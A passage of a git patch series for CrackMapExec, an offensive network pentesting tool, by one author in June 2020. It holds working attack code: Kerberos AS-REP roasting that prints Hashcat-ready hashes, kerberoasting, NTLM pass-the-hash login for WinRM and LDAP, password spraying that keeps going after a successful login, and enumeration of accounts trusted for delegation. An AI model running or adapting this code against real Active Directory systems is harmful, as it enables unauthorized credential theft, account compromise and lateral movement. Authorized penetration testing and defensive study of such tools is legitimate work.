+ asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][0]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.proxiable.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + if domain == '': + logger.error('Empty Domain not allowed in Kerberos') + return + + reqBody['realm'] = domain + now = datetime.utcnow() + timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + seq_set_iter(reqBody, 'etype', supportedCiphers) + + message = encoder.encode(asReq) + + try: + r = sendReceive(message, domain, self.kdcHost) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # RC4 not available, OK, let's ask for newer types + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) + seq_set_iter(reqBody, 'etype', supportedCiphers) + message = encoder.encode(asReq) + r = sendReceive(message, domain, self.kdcHost) + else: + logger.debug(e) + + # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the + # 'Do not require Kerberos preauthentication' set + try: + asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] + except: + # Most of the times we shouldn't be here, is this a TGT? + asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + else: + # The user doesn't have UF_DONT_REQUIRE_PREAUTH set + logging.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) + return + + # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. + hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) + return hash_TGT \ No newline at end of file From 957820e339ba7c1e86cb7e62a1df434f083676d6 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 19 Jun 2020 17:57:09 -0400 Subject: [PATCH 08/22] Fix ldap protocol os import --- cme/protocols/ldap.py | 19 ++++++++++++------- cme/protocols/ldap/kerberos.py | 1 + 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 38dfdb912..ec6b074f8 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -200,8 +200,17 @@ def plaintext_login(self, domain, username, password): password) self.logger.success(out) except ldap_impacket.LDAPSearchError as e: - if self.password != '': - self.logger.error("Authentication failed") + if self.password == '': + hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) + if hash_TGT: + self.logger.highlight(u'{}'.format(hash_TGT)) + with open(self.args.asreproast, 'a+') as hash_asreproast: + hash_asreproast.write(hash_TGT + '\n') + else: + self.logger.error(u'{}\{}:{}'.format(self.domain, + self.username, + self.password)) + return False return True @@ -246,11 +255,7 @@ def getUnixTime(self, t): return t def asreproast(self): - if self.kerberos is False and self.password == '' and self.args.asreproast: - hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) - self.logger.highlight(u'{}'.format(hash_TGT)) - with open(self.args.asreproast, 'a+') as hash_asreproast: - hash_asreproast.write(hash_TGT + '\n') + if self.password == '': return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index 34a8accc8..abe6faa34 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -1,5 +1,6 @@ import logging import random +import os from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter From 5b6d66950f20d5efb2c32f5f24b388766226f1d7 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 05:56:55 -0400 Subject: [PATCH 09/22] Fix ssh authentication error and update option for unconstrainte delegation to --trusted-for-delegation --- cme/protocols/ldap.py | 4 ++-- cme/protocols/ssh.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index ec6b074f8..c617b0c58 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -54,7 +54,7 @@ def proto_args(parser, std_parser, module_parser): egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") - vgroup.add_argument("--trusted-for-auth", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") + vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") return parser @@ -416,7 +416,7 @@ def kerberoasting(self): else: self.logger.error("No entries found!") - def trusted_for_auth(self): + def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" try: diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 3ab1d565c..5347f392f 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -67,8 +67,8 @@ def plaintext_login(self, username, password): self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False) self.check_if_admin() - self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), - password.decode('utf-8'), + self.logger.success(u'{}:{} {}'.format(username, + password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True From 046056d2736455f5d376beb3a9a93bf7df3d6b8c Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 06:10:05 -0400 Subject: [PATCH 10/22] Add option --continue-on-success to smb protocol --- cme/protocols/ssh.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 5347f392f..4a9053c42 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -15,6 +15,7 @@ def proto_args(parser, std_parser, module_parser): ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.") ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") + ssh_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') @@ -70,8 +71,8 @@ def plaintext_login(self, username, password): self.logger.success(u'{}:{} {}'.format(username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) - - return True + if not self.args.continue_on_success: + return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username, password, From b8c505c2346db20d028a95584d064f70420f7e56 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 06:20:53 -0400 Subject: [PATCH 11/22] Improve output of protocol winrm --- cme/protocols/winrm.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 6c8a18fc1..d162ffb07 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -60,6 +60,7 @@ def proto_logger(self): 'hostname': 'NONE'}) def enum_host_info(self): + # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname @@ -74,7 +75,7 @@ def enum_host_info(self): self.domain = smb_conn.getServerDomain() self.hostname = smb_conn.getServerName() - + self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: @@ -92,7 +93,14 @@ def enum_host_info(self): self.domain = self.hostname def print_host_info(self): - self.logger.info(self.endpoint) + if self.args.domain: + self.logger.info(self.endpoint) + else: + self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, + self.hostname, + self.domain)) + self.logger.info(self.endpoint) + def create_conn_obj(self): endpoints = [ From c590230f974e4e584896c7ee8bf5d05e9d6136f8 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 06:26:32 -0400 Subject: [PATCH 12/22] Clean authentication fail message on winrm protocol when ntlm error --- cme/protocols/winrm.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index d162ffb07..e4d9c3cca 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -148,10 +148,15 @@ def plaintext_login(self, domain, username, password): return True except Exception as e: - self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, - username, - password, - e)) + if "with ntlm" in str(e): + self.logger.error(u'{}\\{}:{}'.format(self.domain, + username, + password)) + else: + self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, + username, + password, + e)) return False From 648d756701fde89751f123a2e639b94b703a6ecd Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 06:30:25 -0400 Subject: [PATCH 13/22] Improve os import for ldap protocol --- cme/protocols/ldap/kerberos.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index abe6faa34..2970d197f 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -1,6 +1,6 @@ import logging import random -import os +from os import getenv from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter @@ -81,7 +81,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): def getTGT_kerberoasting(self): try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + ccache = CCache.loadFile(getenv('KRB5CCNAME')) except: # No cache present pass @@ -91,7 +91,7 @@ def getTGT_kerberoasting(self): domain = ccache.principal.realm['data'] else: domain = self.domain - logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + logging.debug("Using Kerberos Cache: %s" % getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: From 8f2ef3fdaf4166d94fc7d8b3a3d2f5938dbec9dc Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 13:20:27 -0400 Subject: [PATCH 14/22] Add color when smb status is not ACCESS_DENIED #391 --- cme/logger.py | 4 ++-- cme/protocols/smb.py | 20 ++++++++++++++++---- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/cme/logger.py b/cme/logger.py index 5efe044e0..e72bc4b36 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -69,8 +69,8 @@ def info(self, msg, *args, **kwargs): msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs) self.logger.info(msg, *args, **kwargs) - def error(self, msg, *args, **kwargs): - msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs) + def error(self, msg, color='red', *args, **kwargs): + msg, kwargs = self.process(u'{} {}'.format(colored("[-]", color, attrs=['bold']), msg), kwargs) self.logger.error(msg, *args, **kwargs) def debug(self, msg, *args, **kwargs): diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index b1f19ec07..e61426774 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -38,6 +38,17 @@ smb_share_name = gen_random_string(5).upper() smb_server = None +smb_error_status = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE" +] + def requires_smb_server(func): def _decorator(self, *args, **kwargs): global smb_server @@ -90,7 +101,6 @@ def _decorator(self, *args, **kwargs): return wraps(func)(_decorator) - class smb(connection): def __init__(self, args, db, host): @@ -318,7 +328,8 @@ def plaintext_login(self, domain, username, password): username, password, error, - '({})'.format(desc) if self.args.verbose else '')) + '({})'.format(desc) if self.args.verbose else ''), + color='magenta' if error in smb_error_status else 'red') if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) @@ -366,11 +377,12 @@ def hash_login(self, domain, username, ntlm_hash): self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() - self.logger.error(u'{}\\{} {} {} {}'.format(domain, + self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, - '({})'.format(desc) if self.args.verbose else '')) + '({})'.format(desc) if self.args.verbose else ''), + color='magenta' if error in smb_error_status else 'red') if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) From 280d497b0dd1b636eb9d6d065ebb12e9ae91e43a Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 18:16:37 -0400 Subject: [PATCH 15/22] Add conditional check on the func login() - modules, options will no longer be loaded if authentication fails - add some try catch and fix some problem with the debug on the passpolicy class --- cme/connection.py | 10 +++---- cme/protocols/ldap/kerberos.py | 2 +- cme/protocols/smb.py | 48 +++++++++++++++++++++------------- cme/protocols/smb/passpol.py | 15 ++++++----- 4 files changed, 45 insertions(+), 30 deletions(-) diff --git a/cme/connection.py b/cme/connection.py index 62fe533c8..028f7f280 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -79,11 +79,11 @@ def proto_flow(self): self.enum_host_info() self.proto_logger() self.print_host_info() - self.login() - if hasattr(self.args, 'module') and self.args.module: - self.call_modules() - else: - self.call_cmd_args() + if self.login(): + if hasattr(self.args, 'module') and self.args.module: + self.call_modules() + else: + self.call_cmd_args() def call_cmd_args(self): for k, v in vars(self.args).items(): diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index 2970d197f..41bf4d8d2 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -192,7 +192,7 @@ def getTGT_asroast(self, userName, requestPAC=True): message = encoder.encode(asReq) r = sendReceive(message, domain, self.kdcHost) else: - logger.debug(e) + logging.debug(e) # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index e61426774..fd2b988dc 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -46,7 +46,8 @@ "STATUS_INVALID_WORKSTATION", "STATUS_LOGON_TYPE_NOT_GRANTED", "STATUS_PASSWORD_EXPIRED", - "STATUS_PASSWORD_MUST_CHANGE" + "STATUS_PASSWORD_MUST_CHANGE", + "STATUS_ACCESS_DENIED" ] def requires_smb_server(func): @@ -296,11 +297,11 @@ def kerberos_login(self, aesKey, kdcHost): def plaintext_login(self, domain, username, password): try: - self.conn.login(username, password, domain) - self.password = password self.username = username self.domain = domain + self.conn.login(username, password, domain) + self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) @@ -329,11 +330,12 @@ def plaintext_login(self, domain, username, password): password, error, '({})'.format(desc) if self.args.verbose else ''), - color='magenta' if error in smb_error_status else 'red') - - if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) - - return False + color='magenta' if error in smb_error_status else 'red') + if error == 'STATUS_LOGON_FAILURE': + self.inc_failed_login(username) + return False + if not self.args.continue_on_success: + return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' @@ -346,14 +348,14 @@ def hash_login(self, domain, username, ntlm_hash): nthash = ntlm_hash try: - self.conn.login(username, '', domain, lmhash, nthash) - self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain + self.conn.login(username, '', domain, lmhash, nthash) + self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) @@ -384,9 +386,11 @@ def hash_login(self, domain, username, ntlm_hash): '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') - if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) - - return False + if error == 'STATUS_LOGON_FAILURE': + self.inc_failed_login(username) + return False + if not self.args.continue_on_success: + return True def create_smbv1_conn(self): try: @@ -561,7 +565,9 @@ def shares(self): self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) except Exception as e: - self.logger.error('Error enumerating shares: {}'.format(e)) + error, desc = e.getErrorString() + self.logger.error('Error enumerating shares: {}'.format(error), + color='magenta' if error in smb_error_status else 'red') return permissions @@ -586,10 +592,16 @@ def sessions(self): return sessions def disks(self): - disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) - self.logger.success('Enumerated disks') - for disk in disks: - self.logger.highlight(disk.disk) + disks = [] + try: + disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + self.logger.success('Enumerated disks') + for disk in disks: + self.logger.highlight(disk.disk) + except Exception as e: + error, desc = e.getErrorString() + self.logger.error('Error enumerating disks: {}'.format(error), + color='magenta' if error in smb_error_status else 'red') return disks diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index 817667415..aaf3aaa5f 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -1,7 +1,10 @@ #Stolen from https://github.com/Wh1t3Fox/polenum +import logging from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.samr import DCERPCSessionError +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import ntlm from time import strftime, gmtime @@ -99,14 +102,14 @@ def dump(self): protodef = PassPolDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] except KeyError: - self.logger.debug("Invalid Protocol '{}'".format(protocol)) - self.logger.debug("Trying protocol {}".format(protocol)) + logging.debug("Invalid Protocol '{}'".format(protocol)) + logging.debug("Trying protocol {}".format(protocol)) rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos) try: self.fetchList(rpctransport) except Exception as e: - self.logger.debug('Protocol failed: {}'.format(e)) + logging.debug('Protocol failed: {}'.format(e)) else: # Got a response. No need for further iterations. self.pretty_print() @@ -180,9 +183,9 @@ def pretty_print(self): 0: 'Domain Refuse Password Change:' } - self.logger.debug('Found domain(s):') + logging.debug('Found domain(s):') for domain in self.__domains: - self.logger.debug('{}'.format(domain['Name'])) + logging.debug('{}'.format(domain['Name'])) self.logger.success("Dumping password info for domain: {}".format(self.__domains[0]['Name'])) From d13042f6375e98fe6a0cff6d3a23a48b4a84b4c7 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 20 Jun 2020 18:43:34 -0400 Subject: [PATCH 16/22] Fix missing user.seek when using file as username with several hosts this commit maybe break something but it solve this `cme smb file -u file -p file` --- cme/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/connection.py b/cme/connection.py index 028f7f280..6e7322936 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -227,7 +227,7 @@ def login(self): if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return True else: if self.plaintext_login(usr.strip(), f_pass.strip()): return True - + user.seek(0) # added june 2020, may break everything but solve this issue cme smb file -u file -p file elif isinstance(user, str): if hasattr(self.args, 'hash') and self.args.hash: with sem: From 56f1f9dd93e9cb6bf73f9d0c44d8f49d7dd8af08 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 21 Jun 2020 15:21:07 -0400 Subject: [PATCH 17/22] Login return False only if NT_STATUS_LOGON_FAILURE --- cme/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index fd2b988dc..cb428edb6 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -331,7 +331,7 @@ def plaintext_login(self, domain, username, password): error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') - if error == 'STATUS_LOGON_FAILURE': + if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: @@ -386,7 +386,7 @@ def hash_login(self, domain, username, ntlm_hash): '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') - if error == 'STATUS_LOGON_FAILURE': + if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: From 9668f7cc227fab5038bb79daa5fe718081d9b67e Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 21 Jun 2020 15:22:59 -0400 Subject: [PATCH 18/22] Set Python3.7 as default on github action to avoid impacket error --- .github/workflows/crackmapexec.yml | 2 +- README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/crackmapexec.yml b/.github/workflows/crackmapexec.yml index ad6ea739a..f2de2df00 100644 --- a/.github/workflows/crackmapexec.yml +++ b/.github/workflows/crackmapexec.yml @@ -18,7 +18,7 @@ jobs: - name: CrackMapExec tests on ${{ matrix.os }} uses: actions/setup-python@v1 with: - python-version: 3.8 + python-version: 3.7 - name: Install dependencies run: | python -m pip install --upgrade pip diff --git a/README.md b/README.md index ee9b035b3..9915cc3f9 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg) +![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) # CrackMapExec From 4120883f6d36e5d6f274a849a5ed9cbed0026f6d Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 22 Jun 2020 06:25:00 -0400 Subject: [PATCH 19/22] Add hash auth with winrm protocol --- cme/protocols/winrm.py | 47 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index e4d9c3cca..bca89cfe9 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -160,6 +160,53 @@ def plaintext_login(self, domain, username, password): return False + def hash_login(self, domain, username, ntlm_hash): + try: + from urllib3.connectionpool import log + log.addFilter(SuppressFilter()) + lmhash = '00000000000000000000000000000000:' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + ntlm_hash = lmhash + nthash + + self.hash = nthash + if lmhash: self.lmhash = lmhash + if nthash: self.nthash = nthash + self.conn = Client(self.host, + auth='ntlm', + username=username, + password=ntlm_hash, + ssl=False) + + # TO DO: right now we're just running the hostname command to make the winrm library auth to the server + # we could just authenticate without running a command :) (probably) + self.conn.execute_ps("hostname") + self.admin_privs = True + self.logger.success(u'{}\\{}:{} {}'.format(self.domain, + username, + self.hash, + highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) + if not self.args.continue_on_success: + return True + + except Exception as e: + if "with ntlm" in str(e): + self.logger.error(u'{}\\{}:{}'.format(self.domain, + username, + self.hash)) + else: + self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, + username, + self.hash, + e)) + + return False + def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) From 2fd9ac50e4715fef6dde90ec2072f6d064b82c31 Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 22 Jun 2020 06:25:32 -0400 Subject: [PATCH 20/22] Add ntlm hash auth with ldap protocol --- cme/protocols/ldap.py | 65 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 56 insertions(+), 9 deletions(-) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index c617b0c58..ee79a90d2 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -138,9 +138,6 @@ def print_host_info(self): self.smbv1)) def kerberos_login(self, aesKey, kdcHost): - self.username = username - self.password = password - self.domain = domain # Create the baseDN domainParts = self.domain.split('.') for i in domainParts: @@ -151,20 +148,18 @@ def kerberos_login(self, aesKey, kdcHost): if self.kdcHost is not None: target = self.kdcHost else: - target = domain + target = self.domain try: self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, - self.aesKey, kdcHost=self.kdcHost) - self.ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) + self.aesKey, kdcHost=self.kdcHost) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=self.kdcHost) - self.search_as_rep(self.ldapConnection) + return True @@ -215,6 +210,58 @@ def plaintext_login(self, domain, username, password): return True + def hash_login(self, domain, username, ntlm_hash): + lmhash = '' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + + self.hash = ntlm_hash + if lmhash: self.lmhash = lmhash + if nthash: self.nthash = nthash + + self.username = username + self.domain = domain + # Create the baseDN + domainParts = self.domain.split('.') + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + if self.kdcHost is not None: + target = self.kdcHost + else: + target = domain + + # Connect to LDAP + try: + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + except ldap_impacket.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + try: + self.ldapConnection.search(searchFilter='(objectCategory=nop)') + out = u'{}{}:{}'.format('{}\\'.format(domain), + username, + nthash) + self.logger.success(out) + except ldap_impacket.LDAPSearchError as e: + self.logger.error(u'{}\{}:{}'.format(self.domain, + self.username, + self.nthash)) + + return False + + return True + def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) @@ -255,7 +302,7 @@ def getUnixTime(self, t): return t def asreproast(self): - if self.password == '': + if self.password == '' and self.nthash != '' and self.kerberos != False: return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ From 4a0cb3172475ede0e18fe7e0cf62b2aad7c791d9 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 25 Jun 2020 23:24:12 +0200 Subject: [PATCH 21/22] Switch to version 5.1.0dev - codename 3TH@n --- cme/cli.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cme/cli.py b/cme/cli.py index eb8664b7e..28ceed811 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -6,8 +6,8 @@ def gen_cli_args(): - VERSION = '5.0.2dev' - CODENAME = 'P3l1as' + VERSION = '5.1.0dev' + CODENAME = '3TH@n' p_loader = protocol_loader() protocols = p_loader.get_protocols() From 7323502421c870f230134fecd127bacfb952c4ea Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 25 Jun 2020 21:25:31 -0400 Subject: [PATCH 22/22] Bump to 5.1.0dev --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 5b83d3484..7c51c9765 100755 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ from setuptools import setup, find_packages setup(name='crackmapexec', - version='5.0.2dev', + version='5.1.0dev', description='A swiss army knife for pentesting networks', classifiers=[ 'Environment :: Console',